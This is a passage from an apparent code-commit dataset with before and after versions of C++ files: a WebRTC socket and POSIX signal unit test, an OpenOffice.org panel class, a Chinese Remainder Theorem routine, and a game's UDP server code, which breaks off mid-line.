SocketTest::TestTcpIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestTcpIPv6) {\n  SocketTest::TestTcpIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpIPv4) {\n  SocketTest::TestUdpIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpIPv6) {\n  SocketTest::TestUdpIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpReadyToSendIPv4) {\n  SocketTest::TestUdpReadyToSendIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpReadyToSendIPv6) {\n  SocketTest::TestUdpReadyToSendIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestGetSetOptionsIPv4) {\n  SocketTest::TestGetSetOptionsIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestGetSetOptionsIPv6) {\n  SocketTest::TestGetSetOptionsIPv6();\n}\n\n#if defined(WEBRTC_POSIX)\n\nclass PosixSignalDeliveryTest : public testing::Test {\n public:\n  static void RecordSignal(int signum) {\n    signals_received_.push_back(signum);\n    signaled_thread_ = Thread::Current();\n  }\n\n protected:\n  void SetUp() {\n    ss_.reset(new PhysicalSocketServer());\n  }\n\n  void TearDown() {\n    ss_.reset(NULL);\n    signals_received_.clear();\n    signaled_thread_ = NULL;\n  }\n\n  bool ExpectSignal(int signum) {\n    if (signals_received_.empty()) {\n      LOG(LS_ERROR) << \"ExpectSignal(): No signal received\";\n      return false;\n    }\n    if (signals_received_[0] != signum) {\n      LOG(LS_ERROR) << \"ExpectSignal(): Received signal \" <<\n          signals_received_[0] << \", expected \" << signum;\n      return false;\n    }\n    signals_received_.erase(signals_received_.begin());\n    return true;\n  }\n\n  bool ExpectNone() {\n    bool ret = signals_received_.empty();\n    if (!ret) {\n      LOG(LS_ERROR) << \"ExpectNone(): Received signal \" << signals_received_[0]\n          << \", expected none\";\n    }\n    return ret;\n  }\n\n  static std::vector<int> signals_received_;\n  static Thread *signaled_thread_;\n\n  scoped_ptr<PhysicalSocketServer> ss_;\n};\n\nstd::vector<int> PosixSignalDeliveryTest::signals_received_;\nThread *PosixSignalDeliveryTest::signaled_thread_ = NULL;\n\n\/\/ Test receiving a synchronous signal while not in Wait() and then entering\n\/\/ Wait() afterwards.\nTEST_F(PosixSignalDeliveryTest, RaiseThenWait) {\n  ASSERT_TRUE(ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal));\n  raise(SIGTERM);\n  EXPECT_TRUE(ss_->Wait(0, true));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_TRUE(ExpectNone());\n}\n\n\/\/ Test that we can handle getting tons of repeated signals and that we see all\n\/\/ the different ones.\nTEST_F(PosixSignalDeliveryTest, InsanelyManySignals) {\n  ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal);\n  ss_->SetPosixSignalHandler(SIGINT, &RecordSignal);\n  for (int i = 0; i < 10000; ++i) {\n    raise(SIGTERM);\n  }\n  raise(SIGINT);\n  EXPECT_TRUE(ss_->Wait(0, true));\n  \/\/ Order will be lowest signal numbers first.\n  EXPECT_TRUE(ExpectSignal(SIGINT));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_TRUE(ExpectNone());\n}\n\n\/\/ Test that a signal during a Wait() call is detected.\nTEST_F(PosixSignalDeliveryTest, SignalDuringWait) {\n  ss_->SetPosixSignalHandler(SIGALRM, &RecordSignal);\n  alarm(1);\n  EXPECT_TRUE(ss_->Wait(1500, true));\n  EXPECT_TRUE(ExpectSignal(SIGALRM));\n  EXPECT_TRUE(ExpectNone());\n}\n\nclass RaiseSigTermRunnable : public Runnable {\n  void Run(Thread *thread) {\n    thread->socketserver()->Wait(1000, false);\n\n    \/\/ Allow SIGTERM. This will be the only thread with it not masked so it will\n    \/\/ be delivered to us.\n    sigset_t mask;\n    sigemptyset(&mask);\n    pthread_sigmask(SIG_SETMASK, &mask, NULL);\n\n    \/\/ Raise it.\n    raise(SIGTERM);\n  }\n};\n\n\/\/ Test that it works no matter what thread the kernel chooses to give the\n\/\/ signal to (since it's not guaranteed to be the one that Wait() runs on).\nTEST_F(PosixSignalDeliveryTest, SignalOnDifferentThread) {\n  ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal);\n  \/\/ Mask out SIGTERM so that it can't be delivered to this thread.\n  sigset_t mask;\n  sigemptyset(&mask);\n  sigaddset(&mask, SIGTERM);\n  EXPECT_EQ(0, pthread_sigmask(SIG_SETMASK, &mask, NULL));\n  \/\/ Start a new thread that raises it. It will have to be delivered to that\n  \/\/ thread. Our implementation should safely handle it and dispatch\n  \/\/ RecordSignal() on this thread.\n  scoped_ptr<Thread> thread(new Thread());\n  scoped_ptr<RaiseSigTermRunnable> runnable(new RaiseSigTermRunnable());\n  thread->Start(runnable.get());\n  EXPECT_TRUE(ss_->Wait(1500, true));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_EQ(Thread::Current(), signaled_thread_);\n  EXPECT_TRUE(ExpectNone());\n}\n\n#endif\n\n}  \/\/ namespace rtc\n<commit_msg>Rebase webrtc\/base with r6555 version of talk\/base: cd webrtc\/base svn diff -r 6521:6555 http:\/\/webrtc.googlecode.com\/svn\/trunk\/talk\/base > 6555.diff patch -p0 -i 6555.diff<commit_after>\/*\n *  Copyright 2004 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <signal.h>\n#include <stdarg.h>\n\n#include \"webrtc\/base\/gunit.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/base\/physicalsocketserver.h\"\n#include \"webrtc\/base\/scoped_ptr.h\"\n#include \"webrtc\/base\/socket_unittest.h\"\n#include \"webrtc\/base\/testutils.h\"\n#include \"webrtc\/base\/thread.h\"\n\nnamespace rtc {\n\nclass PhysicalSocketTest : public SocketTest {\n};\n\nTEST_F(PhysicalSocketTest, TestConnectIPv4) {\n  SocketTest::TestConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectIPv6) {\n  SocketTest::TestConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupIPv4) {\n  SocketTest::TestConnectWithDnsLookupIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupIPv6) {\n  SocketTest::TestConnectWithDnsLookupIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectFailIPv4) {\n  SocketTest::TestConnectFailIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectFailIPv6) {\n  SocketTest::TestConnectFailIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupFailIPv4) {\n  SocketTest::TestConnectWithDnsLookupFailIPv4();\n}\n\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupFailIPv6) {\n  SocketTest::TestConnectWithDnsLookupFailIPv6();\n}\n\n\nTEST_F(PhysicalSocketTest, TestConnectWithClosedSocketIPv4) {\n  SocketTest::TestConnectWithClosedSocketIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithClosedSocketIPv6) {\n  SocketTest::TestConnectWithClosedSocketIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWhileNotClosedIPv4) {\n  SocketTest::TestConnectWhileNotClosedIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWhileNotClosedIPv6) {\n  SocketTest::TestConnectWhileNotClosedIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseDuringConnectIPv4) {\n  SocketTest::TestServerCloseDuringConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseDuringConnectIPv6) {\n  SocketTest::TestServerCloseDuringConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestClientCloseDuringConnectIPv4) {\n  SocketTest::TestClientCloseDuringConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestClientCloseDuringConnectIPv6) {\n  SocketTest::TestClientCloseDuringConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseIPv4) {\n  SocketTest::TestServerCloseIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseIPv6) {\n  SocketTest::TestServerCloseIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestCloseInClosedCallbackIPv4) {\n  SocketTest::TestCloseInClosedCallbackIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestCloseInClosedCallbackIPv6) {\n  SocketTest::TestCloseInClosedCallbackIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestSocketServerWaitIPv4) {\n  SocketTest::TestSocketServerWaitIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestSocketServerWaitIPv6) {\n  SocketTest::TestSocketServerWaitIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestTcpIPv4) {\n  SocketTest::TestTcpIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestTcpIPv6) {\n  SocketTest::TestTcpIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpIPv4) {\n  SocketTest::TestUdpIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestUdpIPv6) {\n  SocketTest::TestUdpIPv6();\n}\n\n\/\/ Disable for TSan v2, see\n\/\/ https:\/\/code.google.com\/p\/webrtc\/issues\/detail?id=3498 for details.\n#if !defined(THREAD_SANITIZER)\n\nTEST_F(PhysicalSocketTest, TestUdpReadyToSendIPv4) {\n  SocketTest::TestUdpReadyToSendIPv4();\n}\n\n#endif \/\/ if !defined(THREAD_SANITIZER)\n\nTEST_F(PhysicalSocketTest, TestUdpReadyToSendIPv6) {\n  SocketTest::TestUdpReadyToSendIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestGetSetOptionsIPv4) {\n  SocketTest::TestGetSetOptionsIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestGetSetOptionsIPv6) {\n  SocketTest::TestGetSetOptionsIPv6();\n}\n\n#if defined(WEBRTC_POSIX)\n\nclass PosixSignalDeliveryTest : public testing::Test {\n public:\n  static void RecordSignal(int signum) {\n    signals_received_.push_back(signum);\n    signaled_thread_ = Thread::Current();\n  }\n\n protected:\n  void SetUp() {\n    ss_.reset(new PhysicalSocketServer());\n  }\n\n  void TearDown() {\n    ss_.reset(NULL);\n    signals_received_.clear();\n    signaled_thread_ = NULL;\n  }\n\n  bool ExpectSignal(int signum) {\n    if (signals_received_.empty()) {\n      LOG(LS_ERROR) << \"ExpectSignal(): No signal received\";\n      return false;\n    }\n    if (signals_received_[0] != signum) {\n      LOG(LS_ERROR) << \"ExpectSignal(): Received signal \" <<\n          signals_received_[0] << \", expected \" << signum;\n      return false;\n    }\n    signals_received_.erase(signals_received_.begin());\n    return true;\n  }\n\n  bool ExpectNone() {\n    bool ret = signals_received_.empty();\n    if (!ret) {\n      LOG(LS_ERROR) << \"ExpectNone(): Received signal \" << signals_received_[0]\n          << \", expected none\";\n    }\n    return ret;\n  }\n\n  static std::vector<int> signals_received_;\n  static Thread *signaled_thread_;\n\n  scoped_ptr<PhysicalSocketServer> ss_;\n};\n\nstd::vector<int> PosixSignalDeliveryTest::signals_received_;\nThread *PosixSignalDeliveryTest::signaled_thread_ = NULL;\n\n\/\/ Test receiving a synchronous signal while not in Wait() and then entering\n\/\/ Wait() afterwards.\nTEST_F(PosixSignalDeliveryTest, RaiseThenWait) {\n  ASSERT_TRUE(ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal));\n  raise(SIGTERM);\n  EXPECT_TRUE(ss_->Wait(0, true));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_TRUE(ExpectNone());\n}\n\n\/\/ Test that we can handle getting tons of repeated signals and that we see all\n\/\/ the different ones.\nTEST_F(PosixSignalDeliveryTest, InsanelyManySignals) {\n  ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal);\n  ss_->SetPosixSignalHandler(SIGINT, &RecordSignal);\n  for (int i = 0; i < 10000; ++i) {\n    raise(SIGTERM);\n  }\n  raise(SIGINT);\n  EXPECT_TRUE(ss_->Wait(0, true));\n  \/\/ Order will be lowest signal numbers first.\n  EXPECT_TRUE(ExpectSignal(SIGINT));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_TRUE(ExpectNone());\n}\n\n\/\/ Test that a signal during a Wait() call is detected.\nTEST_F(PosixSignalDeliveryTest, SignalDuringWait) {\n  ss_->SetPosixSignalHandler(SIGALRM, &RecordSignal);\n  alarm(1);\n  EXPECT_TRUE(ss_->Wait(1500, true));\n  EXPECT_TRUE(ExpectSignal(SIGALRM));\n  EXPECT_TRUE(ExpectNone());\n}\n\nclass RaiseSigTermRunnable : public Runnable {\n  void Run(Thread *thread) {\n    thread->socketserver()->Wait(1000, false);\n\n    \/\/ Allow SIGTERM. This will be the only thread with it not masked so it will\n    \/\/ be delivered to us.\n    sigset_t mask;\n    sigemptyset(&mask);\n    pthread_sigmask(SIG_SETMASK, &mask, NULL);\n\n    \/\/ Raise it.\n    raise(SIGTERM);\n  }\n};\n\n\/\/ Test that it works no matter what thread the kernel chooses to give the\n\/\/ signal to (since it's not guaranteed to be the one that Wait() runs on).\nTEST_F(PosixSignalDeliveryTest, SignalOnDifferentThread) {\n  ss_->SetPosixSignalHandler(SIGTERM, &RecordSignal);\n  \/\/ Mask out SIGTERM so that it can't be delivered to this thread.\n  sigset_t mask;\n  sigemptyset(&mask);\n  sigaddset(&mask, SIGTERM);\n  EXPECT_EQ(0, pthread_sigmask(SIG_SETMASK, &mask, NULL));\n  \/\/ Start a new thread that raises it. It will have to be delivered to that\n  \/\/ thread. Our implementation should safely handle it and dispatch\n  \/\/ RecordSignal() on this thread.\n  scoped_ptr<Thread> thread(new Thread());\n  scoped_ptr<RaiseSigTermRunnable> runnable(new RaiseSigTermRunnable());\n  thread->Start(runnable.get());\n  EXPECT_TRUE(ss_->Wait(1500, true));\n  EXPECT_TRUE(ExpectSignal(SIGTERM));\n  EXPECT_EQ(Thread::Current(), signaled_thread_);\n  EXPECT_TRUE(ExpectNone());\n}\n\n#endif\n\n}  \/\/ namespace rtc\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: SlideTransitionPanel.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: kz $ $Date: 2006-12-12 18:52:01 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n#include \"SlideTransitionPanel.hxx\"\n\n#include \"taskpane\/TaskPaneControlFactory.hxx\"\n\n#include \"strings.hrc\"\n#include \"sdresid.hxx\"\n\n#ifndef _COM_SUN_STAR_FRAME_XMODEL_HPP_\n#include <com\/sun\/star\/frame\/XModel.hpp>\n#endif\n\nnamespace sd\n{\n\n    class ViewShellBase;\n    extern ::Window * createSlideTransitionPanel( ::Window* pParent, ViewShellBase& rBase );\n\nnamespace toolpanel { namespace controls {\n\n\n\nSlideTransitionPanel::SlideTransitionPanel(TreeNode* pParent, ViewShellBase& rBase)\n    : SubToolPanel (pParent),\n      maPreferredSize( 100, 200 )\n{\n    mpWrappedControl = createSlideTransitionPanel( pParent->GetWindow(), rBase );\n    mpWrappedControl->Show();\n}\n\nSlideTransitionPanel::~SlideTransitionPanel()\n{\n    delete mpWrappedControl;\n}\n\nstd::auto_ptr<ControlFactory> SlideTransitionPanel::CreateControlFactory (ViewShellBase& rBase)\n{\n    return std::auto_ptr<ControlFactory>(\n        new ControlFactoryWithArgs1<SlideTransitionPanel,ViewShellBase>(rBase));\n}\n\nSize SlideTransitionPanel::GetPreferredSize()\n{\n    return maPreferredSize;\n}\nsal_Int32 SlideTransitionPanel::GetPreferredWidth(sal_Int32 )\n{\n    return maPreferredSize.Width();\n}\nsal_Int32 SlideTransitionPanel::GetPreferredHeight(sal_Int32 )\n{\n    return maPreferredSize.Height();\n}\n::Window* SlideTransitionPanel::GetWindow()\n{\n    return mpWrappedControl;\n}\nbool SlideTransitionPanel::IsResizable()\n{\n    return true;\n}\nbool SlideTransitionPanel::IsExpandable() const\n{\n    return true;\n}\n\n\n\n\n::com::sun::star::uno::Reference<\n    ::com::sun::star::accessibility::XAccessible> SlideTransitionPanel::CreateAccessibleObject (\n        const ::com::sun::star::uno::Reference<\n        ::com::sun::star::accessibility::XAccessible>& )\n{\n    if (GetWindow() != NULL)\n        return GetWindow()->GetAccessible();\n    else\n        return NULL;\n}\n\n\n} } } \/\/ end of namespace ::sd::toolpanel::controls\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.298); FILE MERGED 2008\/04\/01 12:39:22 thb 1.7.298.2: #i85898# Stripping all external header guards 2008\/03\/31 13:59:03 rt 1.7.298.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: SlideTransitionPanel.cxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n#include \"SlideTransitionPanel.hxx\"\n\n#include \"taskpane\/TaskPaneControlFactory.hxx\"\n\n#include \"strings.hrc\"\n#include \"sdresid.hxx\"\n#include <com\/sun\/star\/frame\/XModel.hpp>\n\nnamespace sd\n{\n\n    class ViewShellBase;\n    extern ::Window * createSlideTransitionPanel( ::Window* pParent, ViewShellBase& rBase );\n\nnamespace toolpanel { namespace controls {\n\n\n\nSlideTransitionPanel::SlideTransitionPanel(TreeNode* pParent, ViewShellBase& rBase)\n    : SubToolPanel (pParent),\n      maPreferredSize( 100, 200 )\n{\n    mpWrappedControl = createSlideTransitionPanel( pParent->GetWindow(), rBase );\n    mpWrappedControl->Show();\n}\n\nSlideTransitionPanel::~SlideTransitionPanel()\n{\n    delete mpWrappedControl;\n}\n\nstd::auto_ptr<ControlFactory> SlideTransitionPanel::CreateControlFactory (ViewShellBase& rBase)\n{\n    return std::auto_ptr<ControlFactory>(\n        new ControlFactoryWithArgs1<SlideTransitionPanel,ViewShellBase>(rBase));\n}\n\nSize SlideTransitionPanel::GetPreferredSize()\n{\n    return maPreferredSize;\n}\nsal_Int32 SlideTransitionPanel::GetPreferredWidth(sal_Int32 )\n{\n    return maPreferredSize.Width();\n}\nsal_Int32 SlideTransitionPanel::GetPreferredHeight(sal_Int32 )\n{\n    return maPreferredSize.Height();\n}\n::Window* SlideTransitionPanel::GetWindow()\n{\n    return mpWrappedControl;\n}\nbool SlideTransitionPanel::IsResizable()\n{\n    return true;\n}\nbool SlideTransitionPanel::IsExpandable() const\n{\n    return true;\n}\n\n\n\n\n::com::sun::star::uno::Reference<\n    ::com::sun::star::accessibility::XAccessible> SlideTransitionPanel::CreateAccessibleObject (\n        const ::com::sun::star::uno::Reference<\n        ::com::sun::star::accessibility::XAccessible>& )\n{\n    if (GetWindow() != NULL)\n        return GetWindow()->GetAccessible();\n    else\n        return NULL;\n}\n\n\n} } } \/\/ end of namespace ::sd::toolpanel::controls\n<|endoftext|>"}
{"text":"<commit_before>#include \"ChineseRemainderTheorem.h\"\n\n#include <vector>\n#include <iostream>\n\nusing namespace std;\n\ntemplate <class T>\nT chineseRemainderTheorem(const vector <T> &a, const vector <T> &m)\n{\n    vector <T> u = chineseRemainderTheoremHelper(m);\n    T ans = 0, M = 1;\n    for (int i = 0; i < u.size(); i++)\n    {\n        ans += a[i] * u[i];\n        M *= m[i];\n    }\n    while (ans < 0)\n        ans += M;\n    return ans % M;\n}\n\ntemplate <class T>\nvector <T> chineseRemainderTheoremHelper(const vector <T> &m)\n{\n    vector <T> ret;\n    T prod = 1;\n    for (int i = 0; i < m.size(); i++)\n        prod *= m[i];\n    for (int i = 0; i < m.size(); i++)\n        ret.push_back(euclid(m[i], prod\/m[i]));\n    return ret;\n}\n\n\/\/ Returns a number x such that x%m1==1 and x%m2==0\ntemplate <class T>\nT euclid(T m1, T m2)\n{\n    T s = 0, ss = 1, t = 1, tt = 0, r = m2, rr = m1;\n    while (r)\n    {\n        T q = rr \/ r;\n        T v;\n        v = r; r = rr - q*r; rr = v;\n        v = s; s = ss - q*s; ss = v;\n        v = t; t = tt - q*t; tt = v;\n    }\n    return tt * m2;\n}\n\nint test()\n{\n    \/\/ Solve x==2 (mod 3), x==3 (mod 4), x==1 (mod 5)\n    vector <int> a;\n    a.push_back(2);\n    a.push_back(3);\n    a.push_back(1);\n\n    vector <int> m;\n    m.push_back(3);\n    m.push_back(4);\n    m.push_back(5);\n\n    cout << chineseRemainderTheorem(a, m);\n    return 1;\n}\n\n<commit_msg>Added unsigned<commit_after>#include \"ChineseRemainderTheorem.h\"\n\n#include <vector>\n#include <iostream>\n\nusing namespace std;\n\ntemplate <class T>\nT chineseRemainderTheorem(const vector <T> &a, const vector <T> &m)\n{\n    vector <T> u = chineseRemainderTheoremHelper(m);\n    T ans = 0, M = 1;\n    for (unsigned int i = 0; i < u.size(); i++)\n    {\n        ans += a[i] * u[i];\n        M *= m[i];\n    }\n    while (ans < 0)\n        ans += M;\n    return ans % M;\n}\n\ntemplate <class T>\nvector <T> chineseRemainderTheoremHelper(const vector <T> &m)\n{\n    vector <T> ret;\n    T prod = 1;\n    for (unsigned int i = 0; i < m.size(); i++)\n        prod *= m[i];\n    for (unsigned int i = 0; i < m.size(); i++)\n        ret.push_back(euclid(m[i], prod\/m[i]));\n    return ret;\n}\n\n\/\/ Returns a number x such that x%m1==1 and x%m2==0\ntemplate <class T>\nT euclid(T m1, T m2)\n{\n    T s = 0, ss = 1, t = 1, tt = 0, r = m2, rr = m1;\n    while (r)\n    {\n        T q = rr \/ r;\n        T v;\n        v = r; r = rr - q*r; rr = v;\n        v = s; s = ss - q*s; ss = v;\n        v = t; t = tt - q*t; tt = v;\n    }\n    return tt * m2;\n}\n\nint test()\n{\n    \/\/ Solve x==2 (mod 3), x==3 (mod 4), x==1 (mod 5)\n    vector <int> a;\n    a.push_back(2);\n    a.push_back(3);\n    a.push_back(1);\n\n    vector <int> m;\n    m.push_back(3);\n    m.push_back(4);\n    m.push_back(5);\n\n    cout << chineseRemainderTheorem(a, m);\n    return 1;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"myLevel.hpp\"\n#include \"net.h\"\n\nMyLevel::MyLevel() : AnnAbstractLevel()\n{\n}\n\nvoid MyLevel::load()\n{\n\t\/\/For having a lighter syntax :\n\tauto engine(AnnEngine::Instance());\n\t\n\t\/\/Load Sinbad:\n\tauto Sinbad (engine->createGameObject(\"Sinbad.mesh\"));\n\tSinbad->setUpPhysics(100, phyShapeType::boxShape);\n\t\/\/Add it to the level list\n\tlevelContent.push_back(Sinbad);\n\n\t\/\/Load Ground:\n\tauto Ground (engine->createGameObject(\"Ground.mesh\"));\n\tGround->setPos(0,-2,0);\n\tGround->setUpPhysics();\n\t\/\/Add it to the level list\n\tlevelContent.push_back(Ground);\n\n\t\/\/Create a light source\n\tauto light(engine->addLight());\n\tlight->setPosition(0,1,3);\n\t\/\/Add it to the level lst\n\tlevelLighting.push_back(light);\n\n\tengine->setAmbiantLight(Ogre::ColourValue::White\/2);\n\n\tengine->getPlayer()->setPosition(AnnVect3(0,1,0));\n\t\n\n\tengine->resetPlayerPhysics();\n\n}\n\nint MyLevel::initializeServer(int port)\n{\n\tstd::stringstream ss;\n\tif(port < netNS::MIN_PORT)\n\t{\n\t\tAnnDebug() << \"Invalid port number\";\n\t\treturn netNS::NET_ERROR;\n\t}\n\t\/\/ ------ init network stuff -------\n\terror = net.createServer(port, netNS::UDP);\n\tif(error != netNS::NET_OK)\n\t{\n\t\tAnnDebug() << net.getError(error);\n\t\treturn netNS::NET_ERROR;\n\t}\n\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tplayer[i].setConnected(false);\n\t\tplayer[i].setActive(false);\n\t}\n\n\t\/\/ AnnEngine::Instance()->getPlayer()->setPosition(AnnVect3(0,0,2.1));\n\n\tAnnDebug() << \"---- Server ----\";\n\tnet.getLocalIP(localIP);\n\tss << \"Server IP: \" << localIP;\n\tAnnDebug() << ss.str();\n\tss.str(\"\");\n\tss << \"Port: \" << port;\n\tAnnDebug() << ss.str();\n\treturn netNS::NET_OK;\n}\n\n\/\/ --- Do network communications ---\nvoid MyLevel::communicate(float frameTime)\n{\n\t\/\/ communicate with client \n\tdoClientCommunication(); \n\t\/\/ Calculate elapsed time for network communications\n\tnetTime += frameTime;\n\tif(netTime < netNS::NET_TIMER)\n\t\treturn;\n\tnetTime -= netNS::NET_TIMER;\n\t\/\/ check for inactive clients, called every NET_TIMER seconds\n\tcheckNetworkTimeout(); \n}\n\n\/\/ --- Check for network timeout ---\n\nvoid MyLevel::checkNetworkTimeout()\n{\n\tstd::stringstream ss;\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tif (player[i].getConnected())\n\t\t{\n\t\t\tplayer[i].incTimeout();\n\t\t\t\/\/ if communication timout \n\t\t\tif (player[i].getTimeout() > netNS::MAX_ERRORS)\n\t\t\t{\n\t\t\t\tplayer[i].setActive(false);\n\t\t\t\tss << \"***** Player \" << i << \" disconnected. *****\";\n\t\t\t\tAnnDebug() << ss.str();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid MyLevel::doClientCommunication() \n{\n\tint playN;\n\tint size;\n\tprepareDataForClient(); \n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tsize = sizeof(toServerData);\n\t\tif( net.readData((char*) &toServerData, size, remoteIP) == netNS::NET_OK)\n\t\t{\n\t\t\tif(size > 0)\n\t\t\t{\n\t\t\t\tplayN = toServerData.playerN;\n\t\t\t\tif (playN == 255)\n\t\t\t\t{\n\t\t\t\t\t\/\/clientWantsTiJoin(); TODO\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (player[playN].getConnected())\n\t\t\t\t\t{\n\t\t\t\t\t\tif (player[playN].getActive())\n\t\t\t\t\t\t\tplayer[playN].setButtons(toServerData.buttons);\n\t\t\t\t\t\tsize = sizeof(toClientData);\n\t\t\t\t\t\t\/\/ send player the latest game data\n\t\t\t\t\t\tnet.sendData((char*) &toClientData, size, player[i].getNetIP());\n\t\t\t\t\t\tplayer[playN].setTimeout(0);\n\t\t\t\t\t\tplayer[playN].setCommWarnings(0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse    \/\/ No more incomming data ? break !!\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid MyLevel::prepareDataForClient() \n{\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\ttoClientData.player[i].playerData = player[i].getNetData();\n\t}\n}\n\n\/\/========================================================================\n\/\/ Client is requesting to join game\n\/\/========================================================================\n\nvoid MyLevel::clientWantToJoin()\n{\n\tstd::stringstream ss;\n\tint size;\n\tint status;\n\tconnectResponse.number = 255;\n\tif (playerCount == 0)\n\t{\n\t\t\/\/roundOver = true;\n\t\t\/\/ score system goes here (TODO)\n\t}\n\tAnnDebug() << \"Player requesting to join.\";\n\t\/\/ find available player position to use\n\tfor(int i=0; i<MAX_PLAYERS; i++) \/\/ search all player position\n\t{\n\t\tif (player[i].getConnected() == false) \/\/ if this position available\n\t\t{\n\t\t\tplayer[i].setConnected(true);\n\t\t\tplayer[i].setTimeout(0);\n\t\t\tplayer[i].setCommWarnings(0);\n\t\t\tplayer[i].setNetIP(remoteIP); \/\/ save player's IP\n\t\t\tplayer[i].setCommErrors(0); \/\/ clear old errors\n\t\t\t\/\/ send SERVER_ID adn player number to client\n\t\t\tstrcpy_s(connectResponse.response, netNS::SERVER_ID);\n\t\t\tconnectResponse.number = (UCHAR)i;\n\t\t\tsize = sizeof(connectResponse);\n\t\t\tstatus = net.sendData((char*) &connectResponse, size, remoteIP, port);\n\t\t\tif (status == 